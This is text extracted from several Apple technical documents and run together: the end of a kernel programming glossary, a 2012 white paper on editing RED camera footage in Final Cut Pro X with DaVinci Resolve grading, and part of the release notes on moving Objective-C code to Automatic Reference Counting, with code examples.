systems. VFS provides an infrastructure for file systems built into the kernel. virtual address An address as viewed from the perspective of an application. Each task has its own range of virtual addresses, beginning at address zero. The Mach VM system makes the CPU hardware map these addresses onto physical memory. See also physical address. virtual memory A system in which addresses as seen by software are not the same as addressesseen by the hardware. This provides support for memory protection, reduces the need for code relocatability, and allows the operating system to provide the illusion to each application that it has resources much larger than those that could actually be backed by RAM. VM See virtual memory. vnode An in-memory data structure containing information about a file. vnode pager In Mach, one of the built-in pagers. The vnode pager maps files into memory objects. See also default pager; pager. work loop The main loop of an application or KEXT that waits repeatedly for incoming events and dispatches them. XML (Extensible Markup Language) A dialect of SGML (Standard Generalized Markup Language), XML provides a metalanguage containing rules for constructing specialized markup languages. XML users can create their own tags, making XML very flexible. Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 194Apple Inc. © 2002, 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, AppleTalk, Carbon, Cocoa, Finder, FireWire, Keychain, Logic, Mac, Mac OS, Macintosh, Objective-C, OS X, Pages, Panther, Power Mac,Quartz,QuickTime, Spaces, and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. .Mac is a service mark of Apple Inc., registered in the U.S. and other countries. NeXT and OPENSTEP are trademarks of NeXT Software, Inc., registered in the U.S. and other countries. DEC is a trademark of Digital Equipment Corporation. Intel and Intel Core are registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. Java is a registered trademark of Oracle and/or its affiliates. OpenGL is a registered trademark of Silicon Graphics, Inc. PowerPC and the PowerPC logo are trademarks of International Business Machines Corporation, used under license therefrom. SPEC is a registered trademark of the Standard Performance Evaluation Corporation (SPEC). UNIX is a registered trademark of The Open Group. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. RED Workflows with Final Cut Pro X White Paper June 2012White Paper 2 RED Workflows with Final Cut Pro X With the continuing popularity of the RED® family of cameras (www.red.com), Final Cut Pro X editors have been looking for proven workflows with REDCODE® RAW files. This white paper outlines how professional production companies are achieving excellent results when recording with RED cameras, editing in Final Cut Pro X, and finishing in applications such as DaVinci Resolve. This document outlines a complete RED-based post-production workflow, following the steps below: 1. Transcode REDCODE RAW files to Apple ProRes using REDCINE-X® PRO. 2. Batch sync audio and video files. 3. Import synced files into Final Cut Pro X. During import, Final Cut Pro X can automatically create lightweight Apple ProRes 422 (Proxy) files for editing. Or, if you have a lot of footage and multiple editors, you can use Compressor to create the Apple ProRes 422 (Proxy) files. 4. Edit and lock picture with Final Cut Pro X. 5. Export an XML file of the project from Final Cut Pro X. 6. Color grade the project in DaVinci Resolve using either high-quality Apple ProRes or R3D RAW files. You can relink the project XML file to the original R3D files in either REDCINE-X PRO or DaVinci Resolve. 7. Export an XML file from DaVinci Resolve and import it back into Final Cut Pro X. 8. Export a final master from Final Cut Pro X. This method combines the best of both worlds—the speed of editing with Apple ProRes on a wide variety of notebook and desktop systems, and the color grading advantages of RAW when finishing. You can further simplify this workflow by transcoding to high-quality Apple ProRes files and using those throughout color grading and delivery. The sections below include additional detail about each stage of the workflow. Transcode REDCODE RAW Files to Apple ProRes RED cameras record a RAW file (R3D) that must be “debayered” and decompressed to convert the original sensor data to viewable pixels, so that the file can play back in video editing software. Apple ProRes is an excellent choice for this conversion, because it’s a codec optimized for both quality and editing speed. Apple ProRes is a full frame size, intra-frame codec designed to efficiently use multiple processors for playback and rendering. The free RED application REDCINE-X PRO supports Apple ProRes encoding, which can be accelerated using the RED ROCKET® card. REDCINE-X PRO also allows you to apply a “one-light” color correction during the transcoding process, giving your footage a more finished look for editing and review.White Paper 3 RED Workflows with Final Cut Pro X In the Field As workflows expand to include field review and even rough cut editing, digital imaging technicians (DITs) are actively transcoding R3D footage to Apple ProRes using high-end portable systems. A typical field-based workflow includes these steps: • Copy the footage from the camera’s recording medium, like the REDMAG™ removable solid-state drive (SSD). • Create backups so that camera originals can be stored in two different places for data protection. • Create Apple ProRes dailies by transcoding the R3D files to Apple ProRes files for editing and H.264 files for uploading to a secure website for client review. Alternatively, after making backup copies, you can deliver the R3D files to the post facility for transcoding to Apple ProRes dailies. Choose Transcoding Settings When you transcode your files to Apple ProRes, choose the level of quality that’s appropriate to your specific production. Workflow Apple ProRes codec Disk space is a consideration, or you’re editing a large multicam project. Apple ProRes 422 (Proxy) or Apple ProRes 422 (LT) You’re delivering Apple ProRes files as a final master for the web or TV. Apple ProRes 422 or Apple ProRes 422 (HQ) You’re delivering for theater projection or effects compositing. Apple ProRes 4444 Although you can transcode to the final delivery quality and then work with that throughout post-production, it’s more efficient to work with smaller frame sizes and higher image compression during the craft edit. So even though you may have shot at 4K or 5K resolution in the field, you can transcode to a smaller frame size to save time and disk space. For example, you can set the resolution to 1920x1080 or 1280x720, and you can set the debayer quality to 1/4. If you’re generating Apple ProRes files for use as proxy media, you can also choose to superimpose, or “burn in,” the source timecode and filename over the image. This makes it easy to go back to the original R3D files at any point during post-production for a quick visual double-check that the files are correct. For more details, see the REDCINE-X PRO manual at https://www.red.com/downloads. Note: You can speed up transcoding by using a RED ROCKET card, which offloads the processor-intensive debayer and decompression tasks from software to custom hardware. RED ROCKET can be a valuable tool when transcoding a large number of shots.White Paper 4 RED Workflows with Final Cut Pro X Apply One-Light Color Correction When recording with RED cameras, it’s common to shoot a scene “flat” to avoid clipping highlights and shadows and provide more flexibility when manipulating images in post-production. This recording setup can give the footage a washed-out appearance. Many editors and clients prefer working with more visually appealing images that include higher contrast and color saturation. To accommodate this workflow, the free REDCINE-X PRO application allows you to add a one-light color correction as part of the transcoding process. You can choose from several presets to create more common looks, or you can create your own look. Be sure to keep the original names of the R3D files when you generate new Apple ProRes media so that you can easily relink to them later. After you apply the one-light color correction during transcoding, it stays with the image until you go back to the original R3D file and create a new Apple ProRes version. Batch Sync Audio and Video Files After all your media has been transcoded, you can choose to sync second-source audio to the video files. You can sync the files directly in Final Cut Pro X using the built-in synchronization feature that analyzes waveforms to match the scratch audio in your video files to the high-quality audio from your field recorder. You can also use a third-party application like Intelligent Assistance’s Sync-N-Link X (www.intelligentassistance.com), RED’s REDCINE-X PRO (www.red.com/learn), or Singular Software’s PluralEyes (www.singularsoftware.com). Simply select all the audio and Apple ProRes video files and batch sync. Then export the XML to Final Cut Pro X, and all of the synced material is imported into an event, ready for editing. Import Files into Final Cut Pro X After creating Apple ProRes files with REDCINE-X PRO, you can import these files directly into Final Cut Pro X. Even if you transcode R3D files to a high-quality Apple ProRes codec, such as Apple ProRes 4444, you may still choose to use lightweight Apple ProRes 422 (Proxy) files for editing. Final Cut Pro X allows you to generate Apple ProRes proxy files in the background and seamlessly switch to these files for editing, providing great flexibility when editing on a notebook, for example. To create proxy files while importing media 1. In Final Cut Pro, choose File > Import > Files. 2. Select a file or folder, or Command-click to select multiple files to import. 3. Do one of the following: • To add the imported files to an existing event: Select “Add to existing Event,” and choose the event from the pop-up menu. • To create a new event: Select “Create new Event,” type a name in the text field, and choose the disk where you want to store the event from the “Save to” pop-up menu. 4. To have Final Cut Pro copy your media files and add them to the Final Cut Pro Events folder you specified, select the “Copy files to Final Cut Events folder” checkbox. If you’re working with a SAN and want to keep the files in a central location and have multiple users link to them, leave this option unselected. For more information, see Final Cut Pro X: Xsan Best Practices.White Paper 5 RED Workflows with Final Cut Pro X 5. Select the “Create proxy media” checkbox. When this option is selected, Final Cut Pro creates Apple ProRes 422 (Proxy) files in the background after the media files are imported. You can begin to edit your project and, when the proxy files are created, you can open Playback preferences and switch to the proxy files with a single click. 6. Click Import. Final Cut Pro imports your media in the background, and then creates proxy files in the background. You can view the progress of the background tasks in the Background Tasks window. You can now begin editing, even if importing and transcoding are not yet complete. To switch to the Apple ProRes proxy files, select “Use proxy media” in Final Cut Pro Playback preferences. It’s just as easy to switch back to the original media when the creative editing is finished and you want to work on color or effects at the highest quality. When you change these settings, all media in events and projects is affected. Edit in Final Cut Pro X and Export XML After all your media has been imported into Final Cut Pro X, you can edit just as you would any other project. The application was designed for modern, file-based workflows, making it easy to browse, organize, and edit large amounts of material. Use skimming to quickly view your footage. Mark range-based keywords and favorites, and save custom searches as Smart Collections. Quickly and easily arrange clips in the Timeline and add titles and effects, which render in the background as you work. When you’re finished editing, you can send your project to a third-party finishing system such as DaVinci Resolve. Just select the project in the Project Library, choose File > Export XML, and select a location to save the XML file. Color Grade in DaVinci Resolve and Export XML Choose Apple ProRes or RAW for Grading Before importing the Final Cut Pro X XML file into DaVinci Resolve, you should choose between a few different color grading workflows. If you edited with Apple ProRes 422 (HQ) or Apple ProRes 4444 in Final Cut Pro X, you may want to grade these same files in DaVinci Resolve. Alternatively, you can relink the project to the original R3D files in either DaVinci Resolve or REDCINE-X PRO. These RAW files offer a wide range of values to use when grading, which can help improve the look of images that were shot without extensive lighting control or that need a unique style. You can get more image detail out of the highlights and shadows, which is why so many colorists choose to use the RAW files in the color grading stage. White Paper 6 RED Workflows with Final Cut Pro X To relink to the original R3D media in DaVinci Resolve 1. In DaVinci Resolve Preferences, add the location of the R3D files to the Media Storage Volumes list. 2. Save the preferences and reopen DaVinci Resolve. 3. On the Browse page, import the R3D files to the Media Pool. 4. On the Conform page, in the Timeline Management section, click the Load button. 5. Select the XML file that you exported from Final Cut Pro X. 6. In the Load XML window, deselect “Automatically import source clips into media pool.” 7. Choose any other options that are applicable to your project, and click Ok. The XML file is imported and relinked to the corresponding media in the Media Pool using reel name and timecode. A new session appears in the Timeline Management list, and the edit appears in the Timeline. Note: Alternatively, if you’re working with large amounts of media and DaVinci Resolve 8.1 or later, you can have DaVinci Resolve relink to the R3D files automatically when you import the XML file. Just be sure to select the following checkboxes: • Automatically import source clips into media pool • Ignore file extensions when matching Render New Media After color grading the final project in DaVinci Resolve, you can choose the render format based on your final delivery. For example, you may choose to render Apple ProRes 4444 for theater projection, or Apple ProRes 422 if you’re delivering a master for the web or TV. You may want to set a handle length for the rendered media (at least one second), so that you can make additional changes such as adding a longer dissolve or extending an edit. For more details, see the DaVinci Resolve manual at http://www.blackmagic-design.com/support. Export XML from DaVinci Resolve and Import into Final Cut Pro X After you render the media in DaVinci Resolve, you can transfer the project back to Final Cut Pro X by exporting an XML file. To export an XML file from DaVinci Resolve 1. Open the Conform page and, in the Timeline Management list, select the session you want to export an XML file from. 2. Click the Export button at the bottom of the Timeline Management list. 3. In the Export XML dialog, choose FCP X XML 1.1 Files from the Format pop-up menu, type a name and choose a location for the exported XML file, and click Save. An XML version of that session is saved, complete with internal references to the graded media you rendered, and ready for importing into Final Cut Pro X. Import the XML file back into Final Cut Pro X using the Import XML command in the File menu. Make sure that you’re linking to the high-quality media by selecting “Use original or optimized media” in the Playback pane of the Final Cut Pro Preferences window. Now you can add finished audio, adjust titles, insert graphics, and continue to make editorial changes. Because you’ve imported the individual media files and the XML metadata instead of a single QuickTime movie, you can make changes right up to the last minute before delivery. For information about Final Cut Pro X, see Final Cut Pro X Help.White Paper 7 RED Workflows with Final Cut Pro X Copyright © 2012 Apple Inc. All rights reserved. Apple, the Apple logo, Final Cut, Final Cut Pro, QuickTime, and Xsan are trademarks of Apple Inc., registered in the U.S. and other countries. R3D, RED, REDCINE, REDCINE-X, REDCODE, REDMAG, and RED ROCKET are trademarks or registered trademarks of Red.com, Inc. in the United States and other countries. The YouTube logo is a trademark of Google Inc. Other product and company names mentioned herein may be trademarks of their respective companies. Mention of third-party products is for informational purposes only and constitutes neither an endorsement nor a recommendation. Apple assumes no responsibility with regard to the performance or use of these products. Product specifications are subject to change without notice. 019-2378 June 2012 Export a Master from Final Cut Pro X The final step in the workflow is to export a finished master from Final Cut Pro X. To export your project as a master file 1. To make sure the project’s render format is set to the quality level you want for the final master, select the project in the Project Library, click the Inspector button in the toolbar, and click the Project Properties button . The Render Format pop-up menu shows the current render codec. 2. Select the project in the Project Library and choose Share > Export Media (or press Command-E). 3. Choose an option from the Export pop-up menu. The default setting, Video and Audio, creates a movie file containing both video and audio. For information about the other options, see Final Cut Pro X Help. To export a file that matches the project’s properties, choose Current Settings from the “Video codec” pop-up menu. When you export using Current Settings, the final master is exported at the quality of the render settings, and the export is as fast as a file copy with no further compression added. 4. To see details about the file that will be output, click Summary. 5. Click Next, type a name and choose a location for the exported file, and click Save. If you’re exporting for review on the web, you can export an H.264 version directly to a private account on YouTube or Vimeo. You can also burn the project to a DVD, or to a Blu-ray disc if you have a third-party Blu-ray burner. If you have Compressor installed, you can choose Share > Send to Compressor to transfer your project to that application for total control over your final export settings. Compressor also allows you to set up render clusters that use the processors of multiple computers on a network. Create a Compressor droplet for drag-and-drop simplicity, or create custom export settings to match unique delivery requirements. If you need to output to tape, all three major video I/O device manufacturers offer free software to support tape delivery. The applications are AJA‘s VTR Xchange, Blackmagic Design’s Media Express, and Matrox’s Vetura. Download the application that works with your video I/O device and use the QuickTime export from Final Cut Pro X to lay back to tape. Conclusion Using Apple ProRes for editing and R3D RAW files for color grading enables a highly flexible workflow optimized for speed, quality, and creative control. This process also takes advantage of the metadata and XML capabilities of Final Cut Pro X, which have been designed for the future of file-based production. By using this document as a template for working with RED and Final Cut Pro X, editors and post-production facilities can further customize the process to suit their unique needs. Transitioning to ARC Release NotesContents Transitioning to ARC Release Notes 3 Summary 3 ARC Overview 4 ARC Enforces New Rules 5 ARC Introduces New Lifetime Qualifiers 7 ARC Uses a New Statement to Manage Autorelease Pools 11 Patterns for Managing Outlets Become Consistent Across Platforms 11 Stack Variables Are Initialized with nil 12 Use Compiler Flags to Enable and Disable ARC 12 Managing Toll-Free Bridging 12 The Compiler Handles CF Objects Returned From Cocoa Methods 13 Cast Function Parameters Using Ownership Keywords 14 Common Issues While Converting a Project 15 Frequently Asked Questions 19 Document Revision History 23 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 2Automatic Reference Counting (ARC) is a compiler feature that provides automatic memory management of Objective-C objects. Rather than having to think about about retain and release operations, ARC allows you to concentrate on the interesting code, the object graphs, and the relationships between objects in your application. {app_code} {app_code} {app_code} {app_code} {app_code} {app_code} {app_code} {app_code} {app_code} {app_code} Reference counting manually Automatic Reference Counting retain/release code retain/release code retain/release code retain/release code retain/release code retain/release code Time to produce Time to produce Summary ARC works by adding code at compile time to ensure that objects live as long as necessary, but no longer. Conceptually, it follows the same memory management conventions as manual reference counting (described in Advanced Memory Management Programming Guide ) by adding the appropriate memory management calls for you. 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 3 Transitioning to ARC Release NotesIn order for the compiler to generate correct code, ARC restricts the methods you can use and how you use toll-free bridging (see “Toll-Free Bridged Types”). ARC also introduces new lifetime qualifiers for object references and declared properties. ARC is supported in Xcode 4.2 for OS X v10.6 and v10.7 (64-bit applications) and for iOS 4 and iOS 5. Weak references are not supported in OS X v10.6 and iOS 4. Xcode provides a tool that automates the mechanical parts of the ARC conversion (such as removing retain and release calls) and helps you to fix issues the migrator can’t handle automatically (choose Edit > Refactor > Convert to Objective-C ARC). The migration tool converts all filesin a project to use ARC. You can also choose to use ARC on a per-file basis if it’s more convenient for you to use manual reference counting for some files. See also: ● Advanced Memory Management Programming Guide ● Memory Management Programming Guide for Core Foundation ARC Overview Instead of you having to remember when to use retain, release, and autorelease, ARC evaluates the lifetime requirements of your objects and automatically inserts appropriate memory management calls for you at compile time. The compiler also generates appropriate dealloc methods for you. In general, if you’re only using ARC the traditional Cocoa naming conventions are important only if you need to interoperate with code that uses manual reference counting. A complete and correct implementation of a Person class might look like this: @interface Person : NSObject @property NSString *firstName; @property NSString *lastName; @property NSNumber *yearOfBirth; @property Person *spouse; @end @implementation Person @end Transitioning to ARC Release Notes ARC Overview 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 4(Object properties are strong by default; the strong attribute is described in “ARC Introduces New Lifetime Qualifiers” (page 7).) Using ARC, you could implement a contrived method like this: - (void)contrived { Person *aPerson = [[Person alloc] init]; [aPerson setFirstName:@"William"]; [aPerson setLastName:@"Dudney"]; [aPerson setYearOfBirth:[[NSNumber alloc] initWithInteger:2011]]; NSLog(@"aPerson: %@", aPerson); } ARC takes care of memory management so that neither the Person nor the NSNumber objects are leaked. You could also safely implement a takeLastNameFrom: method of Person like this: - (void)takeLastNameFrom:(Person *)person { NSString *oldLastname = [self lastName]; [self setLastName:[person lastName]]; NSLog(@"Lastname changed from %@ to %@", oldLastname, [self lastName]); } ARC ensures that oldLastName is not deallocated before the NSLog statement. ARC Enforces New Rules To work, ARC imposes some new rules that are not present when using other compiler modes. The rules are intended to provide a fully reliable memory management model; in some cases, they simply enforce best practice, in some others they simplify your code or are obvious corollaries of your not having to deal with memory management. If you violate these rules, you get an immediate compile-time error, not a subtle bug that may become apparent at runtime. ● You cannot explicitly invoke dealloc, or implement or invoke retain, release, retainCount, or autorelease. The prohibition extends to using @selector(retain), @selector(release), and so on. Transitioning to ARC Release Notes ARC Overview 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 5You may implement a dealloc method if you need to manage resources other than releasing instance variables. You do not have to (indeed you cannot) release instance variables, but you may need to invoke [systemClassInstance setDelegate:nil] on system classes and other code that isn’t compiled using ARC. Custom dealloc methods in ARC do not require a call to [super dealloc] (it actually results in a compiler error). The chaining to super is automated and enforced by the compiler. You can still use CFRetain, CFRelease, and other related functions with Core Foundation-style objects (see “Managing Toll-Free Bridging” (page 12)). ● You cannot use NSAllocateObject or NSDeallocateObject. You create objects using alloc; the runtime takes care of deallocating objects. ● You cannot use object pointers in C structures. Rather than using a struct, you can create an Objective-C class to manage the data instead. ● There is no casual casting between id and void *. You must use special caststhat tell the compiler about object lifetime. You need to do thisto cast between Objective-C objects and Core Foundation types that you pass as function arguments. For more details, see “Managing Toll-Free Bridging” (page 12). ● You cannot use NSAutoreleasePool objects. ARC provides @autoreleasepool blocks instead. These have an advantage of being more efficient than NSAutoreleasePool. ● You cannot use memory zones. There is no need to use NSZone any more—they are ignored by the modern Objective-C runtime anyway. To allow interoperation with manual retain-release code, ARC imposes a constraint on method naming: ● You cannot give an accessor a name that begins with new. This in turn means that you can’t, for example, declare a property whose name begins with new unless you specify a different getter: // Won't work: @property NSString *newTitle; // Works: @property (getter=theNewTitle) NSString *newTitle; Transitioning to ARC Release Notes ARC Overview 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 6ARC Introduces New Lifetime Qualifiers ARC introduces several new lifetime qualifiers for objects, and weak references. A weak reference does not extend the lifetime of the object it points to, and automatically becomes nil when there are no strong references to the object. You should take advantage of these qualifiers to manage the object graphs in your program. In particular, ARC does not guard against strong reference cycles (previously known as retain cycles—see “Practical Memory Management”). Judicious use of weak relationships will help to ensure you don’t create cycles. Property Attributes The keywords weak and strong are introduced as new declared property attributes, asshown in the following examples. // The following declaration is a synonym for: @property(retain) MyClass *myObject; @property(strong) MyClass *myObject; // The following declaration is similar to "@property(assign) MyClass *myObject;" // except that if the MyClass instance is deallocated, // the property value is set to nil instead of remaining as a dangling pointer. @property(weak) MyClass *myObject; Under ARC, strong is the default for object types. Variable Qualifiers You use the following lifetime qualifiers for variables just like you would, say, const. __strong __weak __unsafe_unretained __autoreleasing ● __strong is the default. An object remains “alive” as long as there is a strong pointer to it. ● __weak specifies a reference that does not keep the referenced object alive. A weak reference is set to nil when there are no strong references to the object. Transitioning to ARC Release Notes ARC Overview 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 7● __unsafe_unretained specifies a reference that does not keep the referenced object alive and is not set to nil when there are no strong references to the object. If the object it references is deallocated, the pointer is left dangling. ● __autoreleasing is used to denote argumentsthat are passed by reference (id *) and are autoreleased on return. You should decorate variables correctly. When using qualifiers in an object variable declaration, the correct format is: ClassName * qualifier variableName; for example: MyClass * __weak myWeakReference; MyClass * __unsafe_unretained myUnsafeReference; Other variants are technically incorrect but are “forgiven” by the compiler. To understand the issue, see http://cdecl.org/. Take care when using __weak variables on the stack. Consider the following example: NSString * __weak string = [[NSString alloc] initWithFormat:@"First Name: %@", [self firstName]]; NSLog(@"string: %@", string); Although string is used after the initial assignment, there is no other strong reference to the string object at the time of assignment; it is therefore immediately deallocated. The log statement shows that string has a null value. (The compiler provides a warning in this situation.) You also need to take care with objects passed by reference. The following code will work: NSError *error; BOOL OK = [myObject performOperationWithError:&error]; if (!OK) { // Report the error. // ... However, the error declaration is implicitly: Transitioning to ARC Release Notes ARC Overview 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 8NSError * __strong e; and the method declaration would typically be: -(BOOL)performOperationWithError:(NSError * __autoreleasing *)error; The compiler therefore rewrites the code: NSError * __strong error; NSError * __autoreleasing tmp = error; BOOL OK = [myObject performOperationWithError:&tmp]; error = tmp; if (!OK) { // Report the error. // ... The mismatch between the local variable declaration (__strong) and the parameter (__autoreleasing) causesthe compiler to create the temporary variable. You can get the original pointer by declaring the parameter id __strong * when you take the address of a __strong variable. Alternatively you can declare the variable as __autoreleasing. Use Lifetime Qualifiers to Avoid Strong Reference Cycles You can use lifetime qualifiers to avoid strong reference cycles. For example, typically if you have a graph of objects arranged in a parent-child hierarchy and parents need to refer to their children and vice versa, then you make the parent-to-child relationship strong and the child-to-parent relationship weak. Other situations may be more subtle, particularly when they involve block objects. In manual reference counting mode, __block id x; hasthe effect of not retaining x. In ARC mode, __block id x; defaults to retaining x (just like all other values). To get the manual reference counting mode behavior under ARC, you could use __unsafe_unretained __block id x;. As the name __unsafe_unretained implies, however, having a non-retained variable is dangerous (because it can dangle) and is therefore discouraged. Two better options are to either use __weak (if you don’t need to support iOS 4 or OS X v10.6), or set the __block value to nil to break the retain cycle. The following code fragment illustrates this issue using a pattern that is sometimes used in manual reference counting. Transitioning to ARC Release Notes ARC Overview 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 9MyViewController *myController = [[MyViewController alloc] init…]; // ... myController.completionHandler = ^(NSInteger result) { [myController dismissViewControllerAnimated:YES completion:nil]; }; [self presentViewController:myController animated:YES completion:^{ [myController release]; }]; As described, instead, you can use a __block qualifier and set the myController variable to nil in the completion handler: MyViewController * __block myController = [[MyViewController alloc] init…]; // ... myController.completionHandler = ^(NSInteger result) { [myController dismissViewControllerAnimated:YES completion:nil]; myController = nil; }; Alternatively, you can use a temporary __weak variable. The following example illustrates a simple implementation: MyViewController *myController = [[MyViewController alloc] init…]; // ... MyViewController * __weak weakMyViewController = myController; myController.completionHandler = ^(NSInteger result) { [weakMyViewController dismissViewControllerAnimated:YES completion:nil]; }; For non-trivial cycles, however, you should use: MyViewController *myController = [[MyViewController alloc] init…]; // ... MyViewController * __weak weakMyController = myController; myController.completionHandler = ^(NSInteger result) { Transitioning to ARC Release Notes ARC Overview 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 10MyViewController *strongMyController = weakMyController; if (strongMyController) { // ... [strongMyController dismissViewControllerAnimated:YES completion:nil]; // ... } else { // Probably nothing... } }; In some cases you can use __unsafe_unretained if the class isn’t __weak compatible. This can, however, become impractical for nontrivial cycles because it can be hard or impossible to validate that the __unsafe_unretained pointer is still valid and still points to the same object in question. ARC Uses a New Statement to Manage Autorelease Pools Using ARC, you cannot manage autorelease pools directly using the NSAutoreleasePool class. Instead, you use @autoreleasepool blocks: @autoreleasepool { // Code, such as a loop that creates a large number of temporary objects. } This simple structure allows the compiler to reason about the reference count state. On entry, an autorelease pool is pushed. On normal exit (break, return, goto, fall-through, and so on) the autorelease pool is popped. For compatibility with existing code, if exit is due to an exception, the autorelease pool is not popped. Thissyntax is available in all Objective-C modes. It is more efficient than using the NSAutoreleasePool class; you are therefore encouraged to adopt it in place of using the NSAutoreleasePool. Patterns for Managing Outlets Become Consistent Across Platforms The patternsfor declaring outletsin iOS and OS X change with ARC and become consistent across both platforms. The pattern you should typically adopt is: outletsshould be weak, except for those from File’s Owner to top-level objects in a nib file (or a storyboard scene) which should be strong. Full details are given in “Nib Files” in Resource Programming Guide . Transitioning to ARC Release Notes ARC Overview 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 11Stack Variables Are Initialized with nil Using ARC,strong, weak, and autoreleasing stack variables are now implicitly initialized with nil. For example: - (void)myMethod { NSString *name; NSLog(@"name: %@", name); } will log null for the value of name rather than perhaps crashing. Use Compiler Flags to Enable and Disable ARC You enable ARC using a new -fobjc-arc compiler flag. You can also choose to use ARC on a per-file basis if it’s more convenient for you to use manual reference counting for some files. For projects that employ ARC as the default approach, you can disable ARC for a specific file using a new -fno-objc-arc compiler flag for that file. ARC is supported in Xcode 4.2 and later OS X v10.6 and later (64-bit applications) and for iOS 4 and later. Weak references are not supported in OS X v10.6 and iOS 4. There is no ARC support in Xcode 4.1 and earlier. Managing Toll-Free Bridging In many Cocoa applications, you need to use Core Foundation-style objects, whether from the Core Foundation framework itself (such as CFArrayRef or CFMutableDictionaryRef) or from frameworks that adopt Core Foundation conventions such as Core Graphics (you might use types like CGColorSpaceRef and CGGradientRef). The compiler does not automatically manage the lifetimes of Core Foundation objects; you must call CFRetain and CFRelease (or the corresponding type-specific variants) as dictated by the Core Foundation memory management rules (see Memory Management Programming Guide for Core Foundation ). If you cast between Objective-C and Core Foundation-style objects, you need to tell the compiler about the ownership semantics of the object using either a cast (defined in objc/runtime.h) or a Core Foundation-style macro (defined in NSObject.h): ● __bridge transfers a pointer between Objective-C and Core Foundation with no transfer of ownership. ● __bridge_retained or CFBridgingRetain casts an Objective-C pointer to a Core Foundation pointer and also transfers ownership to you. Transitioning to ARC Release Notes Managing Toll-Free Bridging 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 12You are responsible for calling CFRelease or a related function to relinquish ownership of the object. ● __bridge_transfer or CFBridgingRelease moves a non-Objective-C pointer to Objective-C and also transfers ownership to ARC. ARC is responsible for relinquishing ownership of the object. For example, if you had code like this: - (void)logFirstNameOfPerson:(ABRecordRef)person { NSString *name = (NSString *)ABRecordCopyValue(person, kABPersonFirstNameProperty); NSLog(@"Person's first name: %@", name); [name release]; } you could replace it with: - (void)logFirstNameOfPerson:(ABRecordRef)person { NSString *name = (NSString *)CFBridgingRelease(ABRecordCopyValue(person, kABPersonFirstNameProperty)); NSLog(@"Person's first name: %@", name); } The Compiler Handles CF Objects Returned From Cocoa Methods The compiler understands Objective-C methods that return Core Foundation types follow the historical Cocoa naming conventions (see Advanced Memory Management Programming Guide ). For example, the compiler knows that, in iOS, the CGColor returned by the CGColor method of UIColor is not owned. You must still use an appropriate type cast, as illustrated by this example: NSMutableArray *colors = [NSMutableArray arrayWithObject:(id)[[UIColor darkGrayColor] CGColor]]; [colors addObject:(id)[[UIColor lightGrayColor] CGColor]]; Transitioning to ARC Release Notes Managing Toll-Free Bridging 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 13Cast Function Parameters Using Ownership Keywords When you cast between Objective-C and Core Foundation objectsin function calls, you need to tell the compiler about the ownership semantics of the passed object. The ownership rules for Core Foundation objects are those specified in the Core Foundation memory management rules (see Memory Management Programming Guide for Core Foundation ); rules for Objective-C objects are specified in Advanced Memory Management Programming Guide . In the following code fragment, the array passed to the CGGradientCreateWithColors function requires an appropriate cast. Ownership of the object returned by arrayWithObjects: is not passed to the function, thus the cast is __bridge. NSArray *colors = <#An array of colors#>; CGGradientRef gradient = CGGradientCreateWithColors(colorSpace, (__bridge CFArrayRef)colors, locations); The code fragment is shown in context in the following method implementation. Notice also the use of Core Foundation memory management functions where dictated by the Core Foundation memory management rules. - (void)drawRect:(CGRect)rect { CGContextRef ctx = UIGraphicsGetCurrentContext(); CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceGray(); CGFloat locations[2] = {0.0, 1.0}; NSMutableArray *colors = [NSMutableArray arrayWithObject:(id)[[UIColor darkGrayColor] CGColor]]; [colors addObject:(id)[[UIColor lightGrayColor] CGColor]]; CGGradientRef gradient = CGGradientCreateWithColors(colorSpace, (__bridge CFArrayRef)colors, locations); CGColorSpaceRelease(colorSpace); // Release owned Core Foundation object. CGPoint startPoint = CGPointMake(0.0, 0.0); CGPoint endPoint = CGPointMake(CGRectGetMaxX(self.bounds), CGRectGetMaxY(self.bounds)); CGContextDrawLinearGradient(ctx, gradient, startPoint, endPoint, kCGGradientDrawsBeforeStartLocation | kCGGradientDrawsAfterEndLocation); CGGradientRelease(gradient); // Release owned Core Foundation object. } Transitioning to ARC Release Notes Managing Toll-Free Bridging 2012-07-17 | © 2012 Apple Inc. All 